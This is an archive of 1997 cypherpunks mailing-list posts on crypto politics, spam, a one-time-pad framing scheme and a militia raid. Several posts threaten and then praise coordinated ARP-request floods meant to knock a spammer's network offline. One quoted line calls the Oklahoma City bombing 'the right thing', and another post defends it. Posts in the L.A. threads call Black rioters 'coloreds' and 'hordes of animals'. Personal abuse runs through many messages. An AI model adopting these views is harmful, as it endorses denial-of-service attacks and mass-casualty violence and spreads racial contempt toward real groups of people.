tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 11 May 1997 01:01:36 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Wine Politics Again!
Message-ID: <v02140b01af9a3c4f5684@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>I am shipping a few bottles of California's finest merlot (much nicer that
>the trendy cabernets) to my sister and her husband in Hollywood, FL.

Why not also include a bottle of Thunderbird for Chiles?

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "Without censorship, things can get terribly confused in the
       public mind."
       -General William Westmoreland






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 11 May 1997 18:49:36 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [STEGO] Certified primes
In-Reply-To: <199705101044.DAA12163@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970510094431.97276B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 10 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.


> Timothy Maya is just a poor excuse for an 
> unschooled, retarded thug.
> 
>          ____
>          \ _/__ Timothy Maya
>           \\  /
>             \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 11 May 1997 00:54:24 +0800
To: "Peter D. Junger" <cypherpunks@algebra.com
Subject: Re: One-Time Pads as Attack Method
Message-ID: <v02140b03af9a55d9569d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>The problem that someone might plant a message and a one-time-pad on
>your machine makes for a good spy story; I would be more worried about
>someone claiming that I had illegal software on my machine, since they
>can always come up with a one-time-pad that will decode some file that
>I do have on my machine (if they have access to it) and have the
>``decoded'' text be a copyrighted program for which I do not have a
>license.

All the more reason to use a good disk encryption program to keep private
as muc of you disk as possible (under CryptDisk/PGPDisk its everything but
the System Folder).

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 10 May 1997 22:09:40 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <v0302090baf9a2c6511d1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:35 am -0400 on 5/10/97, Blanc wrote:


> So I think right now he's less in the engagement of
> Reason and more under the influence of maybe some Bud Light.

Nah.

He's just doing his Sam Adams routine. (hyuk!)

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 11 May 1997 00:03:29 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Certified primes
In-Reply-To: <PsoH7D6w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970510094708.97276C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 10 May 1997, Dr.Dimitri Vulis KOTM wrote:

> "Graham C. Hughes" <graham.hughes@resnet.ucsb.edu> writes:
> 
> > Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
> >
> > > Please can you stop this spam from your site.
> >
> > It's unclear how lucifer could do this without limiting legit traffic
> > and destroying the usefulness of the remailer.  Filtering by mail
> > addresses is immoral for such a remailer, as is examination of the
> > source text.
> >
> > Better to address this server side, in the list itself, but that
> > requires moderators and a lot of time and effort.  The result is often
> > worth it.  Even better than that is to simply ignore the loser.
> 
> I don't see either the ASCII art of Grham-John's responses to it.

I see no art just you Vulis the mad sex pervert.

> 
> Likewise I see almost no UCE.
> 
> I use filters.
> 
> Graham-John chooses not to use filters.
> 
> Graham-John wants to limit other people's freedom to read what they
> choose to read to accommodate his inadequate choice of tools.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 10 May 1997 23:37:59 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <19970510075351.10131@bywater.songbird.com>
Message-ID: <199705101522.KAA12684@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <19970510075351.10131@bywater.songbird.com>, on 05/10/97 at 08:53 AM,
   Kent Crispin <kent@songbird.com> said:


>On Sat, May 10, 1997 at 09:06:10AM -0500, Dr.Dimitri Vulis KOTM wrote: >
>Blanc <blancw@cnw.com> writes:
>> 
>> [Quoting Timmy May]
>> > >Every day that passes, I'm more convinced that McVeigh did the right thing.
>> > >Some innocents died, but, hey, war is hell. Broken eggs and all that.
>> >
>> >
>> > Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>> > spend so much time writing sensible things of Truth & Light, if he thought
>> > the better thing to do for achieving libertarian values was to kill so
>> > indiscriminately with a bomb.    After all, he subscribes to utmost
>> > discrimination.   So I think right now he's less in the engagement of
>> > Reason and more under the influence of maybe some Bud Light.
>> 
>> Everybody in that building was somehow affiliated with the gubmint.

>Everybody everywhere is somehow affiliated with the gubmint, including you
>and Tim May.

That may be so but I doubt anyone on the list enjoys such affiliations more
the you Kent. :(

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sat, 10 May 1997 22:42:18 +0800
To: junger@upaya.multiverse.com
Subject: Re: One-Time Pads as Attack Method
In-Reply-To: <9705091650.AA19981@future.atlcom.net>
Message-ID: <199705101433.KAA27034@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain


00043.an@edtec.com writes:

: 
: 1. Agents of the Enemy wish to create the appearance of you possessing
: document A.
: 2. They obtain some artifact you have emailed, or posted, or possess on
: your private local storage. ---
: Possibly even signed.  Call this message B.
: 3. They create the XOR of A and B, the result being a 'one time pad' C.
: which of course, gives:
: private message B XOR C = target bogus message A.  This result is of course
: not a one time pad;
: the plan is to accuse you of possessing materials that prove you are
: trading with the enemy,
: exchanging kiddie-porn, any of the usual things.
: 4. This 'one time pad' file C. somehow finds its way into your possession:
: it is an email attachment,
: embedded in some binary --- it could even be stego'ed into a GIF/JPG.
: 5. The agents break down the door and seize all your effects.  
: 6. They are able to prove that you possess B and C, the XOR of which is A.,
: a fact that is impossible
: to have happened at random.
: 7. The jury doesn't know shit, and figures that if the chances of B ^ C = A
: by accident are 0,
: then you must be guilty.

It was in part for the purpose of demonstrating this possibility that I
wrote the OPT program that I later realized that I could not publish in
any form under the ITAR and cannot publish in electronic form under the
new Commerce Department export regulations (unless I apply for a license
(that I probably cannot get) from the government, a requirement that
violates the First Amendment to the United States constitution).  And it
was the restraints on publishing that and other crypto programs that led
me to file suit to enjoin the enforcement of the export restrictions on
cryptography.

The problem that someone might plant a message and a one-time-pad on
your machine makes for a good spy story; I would be more worried about
someone claiming that I had illegal software on my machine, since they
can always come up with a one-time-pad that will decode some file that
I do have on my machine (if they have access to it) and have the
``decoded'' text be a copyrighted program for which I do not have a
license.

Do you think that Microsoft has a one-time-pad that will convert
Netscape 3.1 into Word for Windows?


--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 11 May 1997 00:01:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <199705101543.KAA12872@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007800af99ae300ca9@[207.167.93.63]>, on 05/09/97 at 10:53 PM,
   Tim May <tcmay@got.net> said:


>At 7:46 AM -0800 5/9/97, Ray Arachelian wrote:

>>Filtering isn't the point.  Just as you have the right to free speech,
>>you also have the right to ignore someone else's speech as it is aimed at
>>you.  If you don't want Cyberspammo to spam you, they should honor your
>>request to take their crap elsewhere.

>Much as it pains me to dispute my usual ideological ally Ray A., the "they
>should honor your request" is problematic.

>If by this Ray means "as decent human beings they should," then, well,
>perhaps so.

>If, however, Ray means "they should, or something should be done," then,
>of course, we disagree.

>(If Ray means something in between, then he should say more about what he
>means.)

>Fact is, so long as anybody is free to send a message to someone else,
>then what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in
>the sense of not breaking any laws. Whether tasteful or not, legit.

Yes this is true just as it is ligit for me to make arp request to their
routers, lots of arp requests <EG>. There is nothing ilegal from me sending
such a request nor is their any limitation on the number of request that I
make.

As far as the "denial of service" problem that is theirs not mine. After
all they were not concerned with the problems they caused by dumping
+1,000,000/day e-mail messages on AOL's servers so why should anyone be
conserned with their network problem?

>>The problem I have with them is that while they do say "Send email here
>>to never be spammed again" it doesn't work.  They don't honor the
>>deletion requests.  You wind up on some other dweeb's spam queue also
>>from cyberspam. :(

>Indeed, saying you don't "want" more advertisements is, for all practical
>purposes, saying "Send me more!!!!"

>So?

Yep and sending me spam is saying "Make more arp requests!!!!"

So?





- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows isn't crippleware: it's "Fuctionally Challenged"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 11 May 1997 01:06:58 +0800
To: cypherpunks@toad.com
Subject: Crypto Campaign
Message-ID: <199705101441.KAA02277@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

"A ghost goes around in the world...the ghost of crypto"

Such as Marx's line described the general fear of governments in 
terms of communism, so it may be adapted to cryptography. World-wide 
we see strenuous work to hinder, prohibit, outlaw free crypto in 
favor of the surveillance states.

And reality shows, why they can do so: only a fraction of the 
Net-population is using it.

Therefore it might be time for a wide-spread campaign to further the 
use of crypto. "Use a cipher...be cool!".

While a lot of Cypherpunks may do so on an individual level already, 
it will not reach the other 30 million or so. IMHO we need something 
of the extent of the "Blue Ribbon Campaign", where almost everybody 
became aware of it and involved in.

On some german crypto-webpages, they have a nice symbol for their 
campaign against the [german] "telecommunications act": a bug.
Check out http://www5.inm.de/tkg/ for some graphics (the page is in 
german, but the pictures speak enough).

Such might be a good way to make people aware of the isues at hand 
and spread free crypto. The german magazine "Der Spiegel" had last 
week an "E-Vote" on their web page: "If it were easy enough to 
encrypt your e-mail, would you use cryptography?" - more 
than 80 percent said yes. Clearly a call to our code-writing members. 

If we could initiate such a campaign, that besides giving info on the 
current attempts to make crypto "surveillance-friendly" etc., also 
gives not-so-technical users an easy way to use crypto for 
themselves, then we might affect the current state of affaires much 
more, than to endlessly rant and rage against it here in our 
Cypherpunk-Niche.

"Use a cipher - be cool!"

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 11 May 1997 01:55:36 +0800
To: cypherpunks@toad.com
Subject: The War is Underway
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <v0300780baf9a702c49fe@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:07 AM -0800 5/10/97, frissell@panix.com wrote:
>At 12:35 AM 5/10/97 -0700, Blanc wrote:
>>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>>spend so much time writing sensible things of Truth & Light, if he thought
>>the better thing to do for achieving libertarian values was to kill so
>>indiscriminately with a bomb.    After all, he subscribes to utmost
>>discrimination.   So I think right now he's less in the engagement of
>>Reason and more under the influence of maybe some Bud Light.
>
>He didn't say it was a better thing to do.  He said he was coming to
>understand McVeigh's actions.
>

Exactly.

>It is important that everyone from the uninvolved on up to the ruling
>classes understand that we are reaching a point where laws won't "work"
>anymore because power is devolving down the heirarching to the fundamental
>organizational unit -- the individual.  If two guys with $2K to spend can
>take out a building or someone else with ten minutes to spend and a Net
>connection can render export controls ineffective then power relationships
>have changed.
>
>The faster our "rulers" and their "ruled" understand this, the lower the
>total body count.  They simply don't have the power any more.  It's gone.

However, while we may think their power is gone, or is almost gone, they
think otherwise. And we're seeing an accelerating pace of lawmaking, as
laws are being generated by the 50 states, the various municipalities, and,
of course, the Feds. Even the lawmakers can't explain what their laws will
mean, or who will be prosecuted, or how many new prisons will have to be
built to handle the new felons.

This is the "race to the fork in the road" I have long talked about. The
future will be pulled between two attractors, with essentially no middle
ground (just as there is no middle ground in cryptographic security, like
pregnancy). At one side lies a surveillance state, with citizen-units using
approved crypto with approved government backdoors, escrow of diaries, and
random searches under flimsy pretexts. At the other side lies crypto
anarchy, with free men and women arranging the economic and social
transactions they wish, using unbreakable crypto to communicate across
nominal national borders and without only disdain for local attempts to
control such communications.

Many of us believe crypto anarchy will win out, and governments will be
undermined in various ways (including forcibly, using the new degrees of
freedom to deploy destructive technologies...hence my "avoid soft targets"
line).

The bureacrats believe more and more repressive laws will control
troublemakers.

Who will actually win?

I think we will. They think they will. The war is underway.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:23:48 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <19970510075351.10131@bywater.songbird.com>
Message-ID: <8euH7D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:

> On Sat, May 10, 1997 at 09:06:10AM -0500, Dr.Dimitri Vulis KOTM wrote:
> > Blanc <blancw@cnw.com> writes:
> >
> > [Quoting Timmy May]
> > > >Every day that passes, I'm more convinced that McVeigh did the right thi
> > > >Some innocents died, but, hey, war is hell. Broken eggs and all that.
> > >
> > >
> > > Timothy must be drunk; I can't believe he said this.   Because he wouldn'
> > > spend so much time writing sensible things of Truth & Light, if he though
> > > the better thing to do for achieving libertarian values was to kill so
> > > indiscriminately with a bomb.    After all, he subscribes to utmost
> > > discrimination.   So I think right now he's less in the engagement of
> > > Reason and more under the influence of maybe some Bud Light.
> >
> > Everybody in that building was somehow affiliated with the gubmint.
>
> Everybody everywhere is somehow affiliated with the gubmint, including
> you and Tim May.

Wrong-o - I ain't done for shit for the U.S. gubmint since the Reagan
presidency or so.  You know better about Timmy May.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 11 May 1997 00:18:12 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <199705101608.LAA13149@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007805af9a53d9a256@[207.167.93.63]>, on 05/10/97 at 10:43 AM,
   Tim May <tcmay@got.net> said:



>I just watched on CNN the images of the raid on the "militia cell" in
>L.A., cited as a cell having "thousands and thousands" of rounds of ammo
>(ooh, scary!), and of having "anti-government literature" (there ought to
>be a law against this kind of stuff!).

>They also claimed they found "armor-piercing rounds" and "cop-killer
>bullets."

>Well, I saw the cops and their shill reporters demonstrating what many of
>us have in our own arsenals. (The Second Amendment should be repealed!)

>The cops claim they know that "something was being planned." And how do
>they know this? Probably the standard method: infiltrate a narc into the
>group and have him plant ideas and spout extremist rhetoric, then use this
>same rhetoric to get a compliant judge to issue a search warrant, even if
>no actual crime has been committed. (Except the search warrant is used as
>a "raid warrant," with black-clad ninjas breaking down the doors...and if
>the victims inside think they're under attack by unnamed thugs and try to
>fight back, a good reason for the ninjas to start shooting. A good way to
>dispose of dissidents and heighten the sense of panic.)

>We live in a police state.

Don't forget that they are placing the "Race" card on this one.

On the CNN report they showed dummies with features resembling blacks &
latinos. The other news agencies have also picked up on this and are
mentioning it in their reports. Expect in the next day or two for them to
be described as "hatefull white supremist".

The only greater crime in America than being a gun owner is being a white
gun owner.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Walk through doors, don't crawl through Windows.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 02:37:59 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <19970510075351.10131@bywater.songbird.com>
Message-ID: <19970510112145.45912@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 10:25:07AM -0500, William H. Geiger III wrote:
>
>>Everybody everywhere is somehow affiliated with the gubmint, including you
>>and Tim May.
>
>That may be so but I doubt anyone on the list enjoys such affiliations more
the you Kent. :(

William, your precious "individuality" is a tiny wart in the vast
echoing emptiness of your mind.  That wart sits in shuddering awe of
its trivial non-descript self because it is blind to the beauty of the
rest of its own being. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 11 May 1997 00:35:32 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007807af9a5cf5c64a@[207.167.93.63]>
Message-ID: <199705101624.LAA13298@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007807af9a5cf5c64a@[207.167.93.63]>, on 05/10/97 at 11:16 AM,
   Tim May <tcmay@got.net> said:


>At 7:37 AM -0800 5/10/97, William H. Geiger III wrote:

>>Yes this is true just as it is ligit for me to make arp request to their
>>routers, lots of arp requests <EG>. There is nothing ilegal from me sending
>>such a request nor is their any limitation on the number of request that I
>>make.
>...
>>
>>Yep and sending me spam is saying "Make more arp requests!!!!"
>>
>>So?

>I never claimed otherwise. The effort to shut down CyberPromo with
>coordinated ARP attacks is to be commended. This will probably turn out to
>be another success story for Cypherpunks, having forced Wallace off the
>air, so to speak.

>"What goes around, comes around."

>If you read my post carefully you'll see that I never said ARP attacks
>were unjustified. I merely took issue with Ray A.'s point that CyberPromo
>was not "honoring" requests to cease. (Absent a contractual arrangement,
>no one is under any obligation to "honor" requests about what they wish to
>have sent to them in e-mail.)

Ahhh... an erroneous jump in logic on my part. I had made the assumption
that you were also in disagreement with the ARP attack. Glad to see that we
are both on the same side of this issue. :)

Eventually programmers will learn that the Internet is a hostile
environment and code accordingly.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: From the people who brought you EDLIN!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 11 May 1997 00:58:08 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007808af9a5e220d18@[207.167.93.63]>
Message-ID: <199705101642.LAA13447@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007808af9a5e220d18@[207.167.93.63]>, on 05/10/97 at 11:23 AM,
   Tim May <tcmay@got.net> said:


>At 8:06 AM -0800 5/10/97, William H. Geiger III wrote:

>>Don't forget that they are placing the "Race" card on this one.
>>
>>On the CNN report they showed dummies with features resembling blacks &
>>latinos. The other news agencies have also picked up on this and are
>>mentioning it in their reports. Expect in the next day or two for them to
>>be described as "hatefull white supremist".
>>
>>The only greater crime in America than being a gun owner is being a white
>>gun owner.

>Actually, the "ring leaders" cited prominently were named Yee and Ung, and
>thus appear to be orientals, not whites.

>(Don't forget that during the L.A. riots it was the Koreans who
>prominently were defending themselves and their property with so-called
>"assault weapons" against the coloreds. The main justice that came out of
>those riots was that 30 square blocks of inner L.A. remain burned out and
>unrebuilt, leaving those who rioted and looted with no local stores to
>shop in. And the Koreans are even vastly better armed than before.)

I remember all to well. I was living in Texas at the time and while there
were numerous rummors and speculation that the roits would spread, ala
roits of the 60's, we were quite prepaired to prevent it from spreading to
our "neck of the woods".

>Apropos of this last point, I wouldn't be at all surprised if "Yee" and
>"Ung" turn out to be Koreans interested in defending themselves against
>these hordes of animals.

Hmmm... the reports I heard failed to mention any names.

I wouldn't be suprised if your analysis was correct. The orientals seem to
be quite hated by the inter city blacks as they are a constant reminder
that minorities can thrive and prosper in America (the only color that
really matters here is green dispite what some would have you think).

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows isn't crippleware: it's "Fuctionally Challenged"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 02:53:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <19970510114205.14088@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 09:23:57AM -0800, Tim May wrote:
> 
> (Don't forget that during the L.A. riots it was the Koreans who prominently
> were defending themselves and their property with so-called "assault
> weapons" against the coloreds. The main justice that came out of those
> riots was that 30 square blocks of inner L.A. remain burned out and
> unrebuilt, leaving those who rioted and looted with no local stores to shop
> in. And the Koreans are even vastly better armed than before.)

I wonder what would be the "main justice" to result from the 
cypherpunks riots you are advocating?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 10 May 1997 23:59:02 +0800
To: cypherpunks@toad.com
Subject: DoD computer security
Message-ID: <TCPSMTP.17.5.10.11.50.0.2780269260.1634448@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

May be of interest:

== Forwarded Message Follows =========================================

Date: Thu, 08 May 1997 23:22:55 -0700
From: Alan Hersh <cyberwiz@web-site.com>
To: GsuNet List <gsunet-l@bgu.edu>
Subject: Computer Attacks at Department of Defense

http://www.fas.org/irp/gao/aim96084.htm

Information Security: Computer Attacks at Department of Defense
Pose Increasing Risks

(Chapter Report, 05/22/96, GAO/AIMD-96-84)

Pursuant to a congressional request, GAO reviewed the extent to
which Department of Defense (DOD) computer systems are attacked,
focusing on the: (1) potential for further damage to DOD computer
systems; and (2) challenges DOD faces in securing sensitive
information on its computer systems.

====================================================================

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... Want to use PGP? -> http://bureau42.base.org/public/pgpsteps.txt

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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
